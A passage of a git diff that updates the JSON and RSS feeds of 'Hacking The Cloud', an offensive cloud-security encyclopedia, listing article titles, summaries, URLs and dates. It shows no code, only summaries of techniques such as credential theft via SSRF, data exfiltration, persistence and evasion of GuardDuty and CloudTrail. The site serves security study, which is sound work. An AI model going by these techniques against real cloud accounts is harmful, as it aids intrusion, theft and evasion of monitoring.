Exfiltrate Data with the AWS CLI", "content_html": "Using the AWS CLI as a LOLScript to download and exfiltrate data.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli.png", "date_modified": "2023-07-15T15:12:33+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/azure/enum_email_addresses/", "url": "https://hackingthe.cloud/azure/enum_email_addresses/", "title": "Unauthenticated Enumeration of Azure Active Directory Email Addresses", "content_html": "Discover how to exploit information disclosure configurations in Azure Active Directory to enumerate valid email addresses.", "image": "https://hackingthe.cloud/assets/images/social/azure/enum_email_addresses.png", "date_modified": "2023-04-12T00:53:02+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/", "url": "https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/", "title": "Unauthenticated Enumeration of Google Workspace Email Addresses", "content_html": "Discover how to exploit information disclosure configurations in Google Workspace to enumerate valid email addresses.", "image": "https://hackingthe.cloud/assets/images/social/gcp/enumeration/enum_email_addresses.png", "date_modified": "2023-04-12T00:53:02+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/exploitation/s3_streaming_copy/", "url": "https://hackingthe.cloud/aws/exploitation/s3_streaming_copy/", "title": "S3 Streaming Copy", "content_html": "Utilizng standard out to standard in with aws-cli utilizing multiple profiles to avoid logging and detection in a victim environment", "image": "https://hackingthe.cloud/assets/images/social/aws/exploitation/s3_streaming_copy.png", "date_modified": "2023-02-17T04:07:33+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/", "url": "https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/", "title": "S3 File ACL Persistence", "content_html": "Maintain access to S3 resources by configuring Access Control Lists associated with S3 Buckets or Objects.", "image": "https://hackingthe.cloud/assets/images/social/aws/post_exploitation/s3_acl_persistence.png", "date_modified": "2023-01-26T01:07:28+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/", "url": "https://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/", "title": "GCP Goat", "content_html": "GCP Goat is the Vulnerable application for learning the GCP Security", "image": "https://hackingthe.cloud/assets/images/social/gcp/capture_the_flag/gcp-goat.png", "date_modified": "2023-01-13T23:48:44+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/", "url": "https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/", "title": "Privilege Escalation in Google Cloud Platform", "content_html": "Privilege escalation techniques for Google Cloud Platform (GCP)", "image": "https://hackingthe.cloud/assets/images/social/gcp/exploitation/gcp_iam_privilege_escalation.png", "date_modified": "2023-01-13T23:48:44+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/", "url": "https://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/", "title": "Hunting GCP Buckets", "content_html": "How to find valid and invalid GCP Buckets using tools", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/gcp-buckets.png", "date_modified": "2023-01-13T23:48:44+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/", "url": "https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/", "title": "Bypass GuardDuty Tor Client Findings", "content_html": "Connect to the Tor network from an EC2 instance without alerting GuardDuty.", "image": "https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/guardduty-tor-client.png", "date_modified": "2023-01-09T03:01:49+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/", "url": "https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/", "title": "Brute Force IAM Permissions", "content_html": "Brute force the IAM permissions of a user or role to see what you have access to.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/brute_force_iam_permissions.png", "date_modified": "2022-12-28T18:47:24+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/", "url": "https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/", "title": "Enumerate AWS Account ID from an EC2 Instance", "content_html": "With access to an ec2 instance, you will be able to identify the AWS account it runs in.", "image": "https://hackingthe.cloud/assets/images/social/aws/enumeration/account_id_from_ec2.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/", "url": "https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/", "title": "Introduction to the Instance Metadata Service", "content_html": "An introduction to the Instance Metadata Service and how to access it.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/intro_metadata_service.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/", "url": "https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/", "title": "Introduction to User Data", "content_html": "An introduction to EC2 User Data and how to access it.", "image": "https://hackingthe.cloud/assets/images/social/aws/general-knowledge/introduction_user_data.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/", "url": "https://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/", "title": "Thunder CTF", "content_html": "GCP themed CTF", "image": "https://hackingthe.cloud/assets/images/social/gcp/capture_the_flag/thunder_ctf.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/", "url": "https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/", "title": "Enumerate Service Account Permissions", "content_html": "Brute force the permissions of a service account to see what you have access to.", "image": "https://hackingthe.cloud/assets/images/social/gcp/enumeration/enumerate_service_account_permissions.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/default-account-names/", "url": "https://hackingthe.cloud/gcp/general-knowledge/default-account-names/", "title": "Default Account Information", "content_html": "Default information on how accounts and service accounts exist in GCP", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/default-account-names.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/", "url": "https://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/", "title": "Metadata in Google Cloud Instances", "content_html": "Information about the data an attacker can access via GCP's API endpoints", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/metadata_in_google_cloud_instances.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}, {"id": "https://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/", "url": "https://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/", "title": "Security and Constraints", "content_html": "Security considerations and constraints that are unique to GCP", "image": "https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/security-and-constraints.png", "date_modified": "2022-12-02T02:06:36+00:00", "authors": [], "tags": null}]} \ No newline at end of file diff --git a/feed_rss_created.xml b/feed_rss_created.xml index 136a5a68d..51dfb06f3 100644 --- a/feed_rss_created.xml +++ b/feed_rss_created.xml @@ -1 +1 @@ - Hacking The CloudThe encyclopedia for offensive security in the cloud.https://hackingthe.cloud/https://github.com/Hacking-the-Cloud/hackingthe.clouden Sun, 04 Aug 2024 23:13:37 -0000 Sun, 04 Aug 2024 23:13:37 -0000 1440 MkDocs RSS plugin - v1.15.0 Prevent Expensive AWS API Actions with SCPs Avoid AWS bill surprises by blocking known-expensive API calls with an SCP.https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/ Tue, 30 Jul 2024 00:15:57 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/ Enumerate Org/Folder/Project Permissions + Individual Resource Permissions Brute force the permissions of all resources above to see what permissions you have. Includes example of brute forcing ~9500 permissions at the end. Also introduces tool that passively collections permissions allowed as run (gcpwn)https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/ Sun, 14 Jul 2024 21:08:01 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/ Discover secrets in public AMIs How to find public AMIs and get stored secrets.https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/ Tue, 28 May 2024 16:27:11 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/ Enumerate Root User Email Address from the AWS Console Identify if an email address belongs to the root user of an AWS account.https://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/ Tue, 21 May 2024 20:10:23 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/enumerate_root_email_from_console/ Abusing Misconfigured Role Trust Policies with a Wildcard Principal How to take advantage of misconfigured role trust policies that have wildcard principals.https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ Mon, 29 Jan 2024 03:39:38 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ EC2 Privilege Escalation Through User Data How to escalate privileges on an EC2 instance by abusing user data.https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/ Sun, 21 Jan 2024 17:59:06 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/ Bypass Cognito Account Enumeration Controls Leverage a flaw in Cognito's API to enumerate accounts in User Pools.https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/ Sun, 07 Jan 2024 21:28:56 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/ DNS and CloudFront Domain Takeover via Deleted S3 Buckets How orphaned Route53 records and CloudFront distributions can be taken over if the backing S3 bucket is deleted.https://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ Wed, 20 Dec 2023 14:50:27 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ 2023 Wrap-up An end of year summary for Hacking the Cloud in 2023.https://hackingthe.cloud/blog/2023_wrap-up/ Wed, 20 Dec 2023 01:25:13 +0000Hacking The Cloudhttps://hackingthe.cloud/blog/2023_wrap-up/ Data Exfiltration through S3 Server Access Logs Exfiltrate data via S3:GetObject and S3 server access logs.https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/ Thu, 07 Dec 2023 10:12:13 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/s3_server_access_logs/ Derive a Principal ARN from an AWS Unique Identifier How to convert an unique identifier to a principal ARN.https://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/ Mon, 20 Nov 2023 00:54:35 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/enumerate_principal_arn_from_unique_id/ Survive Access Key Deletion with sts:GetFederationToken Use sts:GetFederationToken to maintain access, even if the original IAM credentials are revoked.https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ Mon, 25 Sep 2023 13:24:44 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ AWS IAM Persistence Methods A catalog of methods to maintain access to the AWS control plane.https://hackingthe.cloud/aws/post_exploitation/iam_persistence/ Tue, 01 Aug 2023 01:58:06 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/iam_persistence/ Download Tools and Exfiltrate Data with the AWS CLI Using the AWS CLI as a LOLScript to download and exfiltrate data.https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ Thu, 13 Jul 2023 03:46:27 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ Abusing Overpermissioned AWS Cognito Identity Pools How to take advantage of misconfigured Amazon Cognito Identity Pools.https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/ Tue, 20 Jun 2023 17:26:14 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/ Abusing Unintended Self-Signup in AWS Cognito How to take advantage of misconfigured Amazon Cognito User Pools.https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/ Tue, 20 Jun 2023 17:26:14 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/ Unauthenticated Enumeration of Azure Active Directory Email Addresses Discover how to exploit information disclosure configurations in Azure Active Directory to enumerate valid email addresses.https://hackingthe.cloud/azure/enum_email_addresses/ Tue, 11 Apr 2023 13:31:32 +0000Hacking The Cloudhttps://hackingthe.cloud/azure/enum_email_addresses/ Unauthenticated Enumeration of Google Workspace Email Addresses Discover how to exploit information disclosure configurations in Google Workspace to enumerate valid email addresses.https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/ Tue, 11 Apr 2023 13:31:32 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/enumeration/enum_email_addresses/ Create a Console Session from IAM Credentials How to use IAM credentials to create an AWS Console session.https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/ Mon, 20 Feb 2023 16:48:45 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/ S3 Streaming Copy Utilizng standard out to standard in with aws-cli utilizing multiple profiles to avoid logging and detection in a victim environmenthttps://hackingthe.cloud/aws/exploitation/s3_streaming_copy/ Fri, 10 Feb 2023 15:12:48 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/s3_streaming_copy/ Exfiltrating S3 Data with Bucket Replication Policies Backdooring S3 buckets with Bucket Replication Policies.https://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/ Thu, 26 Jan 2023 01:02:06 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/s3-bucket-replication-exfiltration/ 2022 Wrap-up An end of year summary for Hacking the Cloud in 2022.https://hackingthe.cloud/blog/2022_wrap-up/ Wed, 14 Dec 2022 03:27:50 +0000Hacking The Cloudhttps://hackingthe.cloud/blog/2022_wrap-up/ Loot Public EBS Snapshots How to find and take advantage of exposed EBS snapshots.https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/ Mon, 05 Dec 2022 02:08:42 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/ Misconfigured Resource-Based Policies Common misconfigurations of resource-based policies and how they can be abused.https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/ Thu, 24 Nov 2022 22:14:38 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/ Abusing Misconfigured ECR Resource Policies How to take advantage of misconfigured AWS ECR private repositories.https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ Thu, 24 Nov 2022 22:14:38 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ AWS Organizations Defaults & Pivoting How to abuse AWS Organizations' default behavior and lateral movement capabilities.https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/ Sat, 05 Nov 2022 00:02:54 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/ Abusing Elastic Container Registry for Lateral Movement With ECR permissions you can easily distribute a backdoor to production servers, developer's laptops, or CI/CD pipelines and own the environment by gaining privileged permissions.https://hackingthe.cloud/aws/exploitation/abusing-container-registry/ Thu, 13 Oct 2022 01:37:41 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/abusing-container-registry/ Hacking The Cloud v2: New Look All about the new look for Hacking The Cloud v2.https://hackingthe.cloud/blog/v2_new_look/ Sun, 18 Sep 2022 21:18:30 +0000Hacking The Cloudhttps://hackingthe.cloud/blog/v2_new_look/ GCP Goat GCP Goat is the Vulnerable application for learning the GCP Securityhttps://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/ Mon, 29 Aug 2022 00:18:19 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/ Thunder CTF GCP themed CTFhttps://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/ Mon, 29 Aug 2022 00:18:19 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/ Hunting GCP Buckets How to find valid and invalid GCP Buckets using toolshttps://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/ Mon, 29 Aug 2022 00:18:19 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/ Privilege Escalation in Google Cloud Platform Privilege escalation techniques for Google Cloud Platform (GCP)https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/ Wed, 24 Aug 2022 12:25:09 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/ Enumerate Service Account Permissions Brute force the permissions of a service account to see what you have access to.https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/ Tue, 23 Aug 2022 14:34:53 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/ Terraform ANSI Escape Using ANSI Escape Sequences to Hide Malicious Terraform Codehttps://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/ Sat, 09 Jul 2022 00:02:47 +0000Hacking The Cloudhttps://hackingthe.cloud/terraform/terraform_ansi_escape_evasion/ Default Account Information Default information on how accounts and service accounts exist in GCPhttps://hackingthe.cloud/gcp/general-knowledge/default-account-names/ Sun, 29 May 2022 13:26:35 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/general-knowledge/default-account-names/ Security and Constraints Security considerations and constraints that are unique to GCPhttps://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/ Sun, 29 May 2022 13:26:35 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/ Using Stolen IAM Credentials How to work with stolen IAM credentials and things to consider.https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/ Sat, 14 May 2022 21:51:44 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/ Run Shell Commands on EC2 with Send Command or Session Manager Leverage privileged access in an AWS account to run arbitrary commands on an EC2 instance.https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/ Mon, 11 Apr 2022 23:11:43 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/ Abusing Managed Identities Abusing Managed Identitieshttps://hackingthe.cloud/azure/abusing-managed-identities/ Sun, 27 Mar 2022 16:57:50 +0000Hacking The Cloudhttps://hackingthe.cloud/azure/abusing-managed-identities/ Anonymous Blob Access Finding and accessing files stored in Azure Storage Accounts without authentication.https://hackingthe.cloud/azure/anonymous-blob-access/ Sat, 19 Mar 2022 16:57:37 +0000Hacking The Cloudhttps://hackingthe.cloud/azure/anonymous-blob-access/ Soft Deleted Blobs Recovering and accessing files in private Storage Accounts that have been deleted.https://hackingthe.cloud/azure/soft-deleted-blobs/ Thu, 17 Mar 2022 14:35:54 +0000Hacking The Cloudhttps://hackingthe.cloud/azure/soft-deleted-blobs/ AWS API Call Hijacking via ACM-PCA By modifying the route53 entries and utilizing the acm-pca private CA one can hijack the calls to AWS API inside the AWS VPChttps://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/ Sun, 13 Mar 2022 23:45:47 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/ CI/CDon't An AWS/GitLab CICD themed CTF.https://hackingthe.cloud/aws/capture_the_flag/cicdont/ Sat, 05 Mar 2022 04:00:57 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/capture_the_flag/cicdont/ Enumerate AWS Account ID from an EC2 Instance With access to an ec2 instance, you will be able to identify the AWS account it runs in.https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/ Sun, 27 Feb 2022 22:50:13 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/account_id_from_ec2/ [Deprecated] Whoami - Get Principal Name From Keys During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.https://hackingthe.cloud/aws/deprecated/whoami/ Wed, 09 Feb 2022 04:00:32 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/deprecated/whoami/ Modify GuardDuty Configuration Modify existing GuardDuty configurations in the target account to hinder alerting and remediation capabilities.https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/ Sun, 30 Jan 2022 10:32:26 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/ Terraform Enterprise: Attack the Metadata Service Leverage a default configuration in Terraform Enterprise to steal credentials from the Metadata Servicehttps://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/ Thu, 23 Dec 2021 21:59:38 +0000Hacking The Cloudhttps://hackingthe.cloud/terraform/terraform_enterprise_metadata_service/ Hacking The Cloud The encyclopedia for offensive security in the cloudhttps://hackingthe.cloud/ Tue, 30 Nov 2021 05:00:09 +0000Hacking The Cloudhttps://hackingthe.cloud/ AWS IAM Privilege Escalation Techniques Common techniques that can be leveraged to escalate privileges in an AWS account.https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/ Thu, 04 Nov 2021 21:03:24 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/ Metadata in Google Cloud Instances Information about the data an attacker can access via GCP's API endpointshttps://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/ Sun, 24 Oct 2021 17:41:56 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/ Lambda Persistence How to establish persistence on a Lambda function after getting remote code execution.https://hackingthe.cloud/aws/post_exploitation/lambda_persistence/ Thu, 16 Sep 2021 15:02:21 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/lambda_persistence/ Get IAM Credentials from a Console Session Convert access to the AWS Console into IAM credentials.https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/ Wed, 14 Jul 2021 20:46:17 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/ [Deprecated] Enumerate Permissions without Logging to CloudTrail Leverage a bug in the AWS API to enumerate permissions for a role without logging to CloudTrail and alerting the Blue Team.https://hackingthe.cloud/aws/deprecated/stealth_perm_enum/ Tue, 18 May 2021 19:13:08 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/deprecated/stealth_perm_enum/ S3 File ACL Persistence Maintain access to S3 resources by configuring Access Control Lists associated with S3 Buckets or Objects.https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/ Tue, 13 Apr 2021 02:53:30 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/ Enumerate AWS Account ID from a Public S3 Bucket Knowing only the name of a public S3 bucket, you can ascertain the account ID it resides in.https://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/ Sat, 03 Apr 2021 01:39:08 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/account_id_from_s3_bucket/ Bypass GuardDuty Tor Client Findings Connect to the Tor network from an EC2 instance without alerting GuardDuty.https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/ Sat, 20 Feb 2021 04:07:08 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/ Intercept SSM Communications With access to an EC2 instance you can intercept, modify, and spoof SSM communications.https://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/ Sat, 06 Feb 2021 17:17:59 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/intercept_ssm_communications/ Role Chain Juggling Keep your access by chaining assume-role calls.https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/ Wed, 03 Feb 2021 03:20:50 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/ User Data Script Persistence Maintain access to an EC2 instance and it's IAM role via user data scripts.https://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/ Wed, 03 Feb 2021 03:20:50 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/post_exploitation/user_data_script_persistence/ Introduction to the Instance Metadata Service An introduction to the Instance Metadata Service and how to access it.https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/ Sun, 20 Dec 2020 20:10:43 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/ Introduction to User Data An introduction to EC2 User Data and how to access it.https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/ Sun, 20 Dec 2020 20:10:43 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/introduction_user_data/ Brute Force IAM Permissions Brute force the IAM permissions of a user or role to see what you have access to.https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/ Sun, 20 Dec 2020 18:58:26 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/ Get Account ID from AWS Access Keys Techniques to enumerate the account ID associated with an AWS access key.https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/ Sun, 27 Sep 2020 16:06:37 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/ Whoami - Get Principal Name From Keys During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.https://hackingthe.cloud/aws/enumeration/whoami/ Fri, 21 Aug 2020 17:00:02 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/whoami/ Steal IAM Credentials and Event Data from Lambda Leverage file read and SSRF vulnerabilities to steam IAM credentials and event data from Lambda.https://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/ Wed, 12 Aug 2020 23:15:50 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/lambda-steal-iam-credentials/ Unauthenticated Enumeration of IAM Users and Roles Discover how to exploit cross-account behaviors to enumerate IAM users and roles in another AWS account without authentication.https://hackingthe.cloud/aws/enumeration/enum_iam_user_role/ Wed, 05 Aug 2020 14:32:32 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/enumeration/enum_iam_user_role/ Steal EC2 Metadata Credentials via SSRF Old faithful; How to steal IAM Role credentials from the EC2 Metadata service via SSRF.https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/ Sat, 01 Aug 2020 17:43:14 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/ Connection Tracking Abuse security group connection tracking to maintain persistence even when security group rules are changed.https://hackingthe.cloud/aws/general-knowledge/connection-tracking/ Thu, 30 Jul 2020 23:28:52 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/connection-tracking/ IAM unique identifiers Chart of the IAM unique ID prefixes.https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/ Mon, 27 Jul 2020 19:47:46 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/ Bypass GuardDuty Pentest Findings Prevent Kali Linux, ParrotOS, and Pentoo Linux from throwing GuardDuty alerts by modifying the User Agent string.https://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/ Wed, 22 Jul 2020 02:58:24 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/avoiding-detection/guardduty-pentest/ Bypass Credential Exfiltration Detection When stealing IAM credentials from an EC2 instance you can avoid a GuardDuty detection by using VPC Endpoints.https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/ Wed, 22 Jul 2020 02:58:24 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/ \ No newline at end of file + Hacking The CloudThe encyclopedia for offensive security in the cloud.https://hackingthe.cloud/https://github.com/Hacking-the-Cloud/hackingthe.clouden Fri, 09 Aug 2024 15:04:30 -0000 Fri, 09 Aug 2024 15:04:30 -0000 1440 MkDocs RSS plugin - v1.15.0 CVE-2024-28056: Exploit an AWS Amplify Vulnerability in a Same-Account Scenario An in-depth explanation of how to still abuse CVE-2024-28056, a vulnerability in AWS Amplify that exposed IAM roles to takeover.https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ Wed, 31 Jul 2024 20:37:36 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ Prevent Expensive AWS API Actions with SCPs Avoid AWS bill surprises by blocking known-expensive API calls with an SCP.https://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/ Tue, 30 Jul 2024 00:15:57 +0000Hacking The Cloudhttps://hackingthe.cloud/aws/general-knowledge/block-expensive-actions-with-scps/ Enumerate Org/Folder/Project Permissions + Individual Resource Permissions Brute force the permissions of all resources above to see what permissions you have. Includes example of brute forcing ~9500 permissions at the end. Also introduces tool that passively collections permissions allowed as run (gcpwn)https://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/ Sun, 14 Jul 2024 21:08:01 +0000Hacking The Cloudhttps://hackingthe.cloud/gcp/enumeration/enumerate_all_permissions/ Discover secrets in public AMIs How to find public AMIs and get stored secrets.https://hackingthe.cloud/aws/enumeration/discover_secrets_in_public_aims/ Tue, 28 